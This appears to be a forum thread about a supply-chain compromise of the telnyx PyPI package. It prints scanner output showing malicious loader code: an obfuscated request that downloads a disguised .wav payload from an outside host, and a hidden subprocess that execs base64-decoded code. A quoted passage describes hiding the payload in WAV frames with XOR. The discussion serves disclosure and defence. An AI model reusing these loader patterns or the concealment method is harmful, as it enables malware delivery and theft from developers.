Popular telnyx package compromised on PyPI by TeamPCP

The popular telnyx packageon PyPI, used by big AI companies, has been compromised by TeamPCP

They did not even try to hide the payload that much.

Every basic checker used by many security companies screams at `exec(base64.b64decode` when grepping code using simple regexes.

hexora audit 4.87.1/2026-03-27-telnyx-v4.87.1.zip --min-confidence high --exclude HX4000

warning[HX9000]: Potential data exfiltration with Decoded data via urllib.request.request.Request.
┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:77
86:13

7783 │ except:
7784 │ pass
7785 │
7786 │ r = urllib.request.Request(_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='), headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')})
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX9000
7787 │ with urllib.request.urlopen(r, timeout=15) as d:
7788 │ with open(t, "wb") as f:
7789 │ f.write(d.read())

= Confidence: High
Help: Data exfiltration is the unauthorized transfer of data from a computer.


warning[HX4010]: Execution of obfuscated code.
┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:78
10:9

7807 │ if os.name == 'nt':
7808 │ return
7809 │ try:
7810 │ ╭ subprocess.Popen(
7811 │ │ [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
7812 │ │ stdout=subprocess.DEVNULL,
7813 │ │ stderr=subprocess.DEVNULL,
7814 │ │ start_new_session=True
7815 │ │ )
│ ╰─────────^ HX4010
7816 │ except:
7817 │ pass
7818 │

= Confidence: VeryHigh
Help: Obfuscated code exec can be used to bypass detection.

Are there more tools like hexora?
GuardDog, but it's based on regexes

> The payload isn't delivered as a raw binary or a Python file. It's disguised as a .wav audio file.

> The WAV file is a valid audio file. It passes MIME-type checks. But the audio frame data contains a base64-encoded payload. Decode the frames, take the first 8 bytes as the XOR key, XOR the rest, and you have your executable or Python script.

Talk about burying the lede.

For those using uv, you can at least partially protect yourself against such attacks by adding this to your pyproject.toml:

[tool.uv]
exclude-newer = "7 days"

or this to your ~/.config/uv/uv.toml:

exclude-newer = "7 days"

This will prevent uv picking up any package version released within the last 7 days, hopefully allowing enough time for the community to detect any malware and yank the package version before you install it.

Nice feature. However uv is suspect at the moment, in the sense that it is designed as a pip replacement to overcome issues that only exist when supply chains are of a size that isn't safe to have.

So any project that has UV and any developer that tries to get uv into a project is on average less safe than a project that just uses pip and a requirements.txt

I really am not able to follow this line of reasoning, I am not sure if what you said makes sense and how it relates to uv having a security feature to be on average less safe :/

Sorry - call me uninformed. But I do not really understand how choosing uv makes me less safe than using pip.

Care to explain? Would love to learn.

It is a bit of a leap. They are saying that if you are using uv, then you likely have a broad set of dependencies because you require a dependency management tool, therefore you are more susceptible to a supply chain attack by virtue of having a wider attack surface.

Huh?

Wanting a better pip means I am unsafe?

This is complete nonsense. pip has all the same problems that you say uv has.

We have always been API first rather than SDK first.

Never really thought too much about the security implications but that is of course a benefit too.

Main reasoning for us has been to aim for a really nice HTTP API rather than hide uglyness with an SDK on top.

Hah, need to setup a Grandstream HT801 this weekend and this cements my decision to use voip.ms vs telnyx. Not that the device would use that library (have no idea), but just, yeah generally, it's a good cue to stay away for me.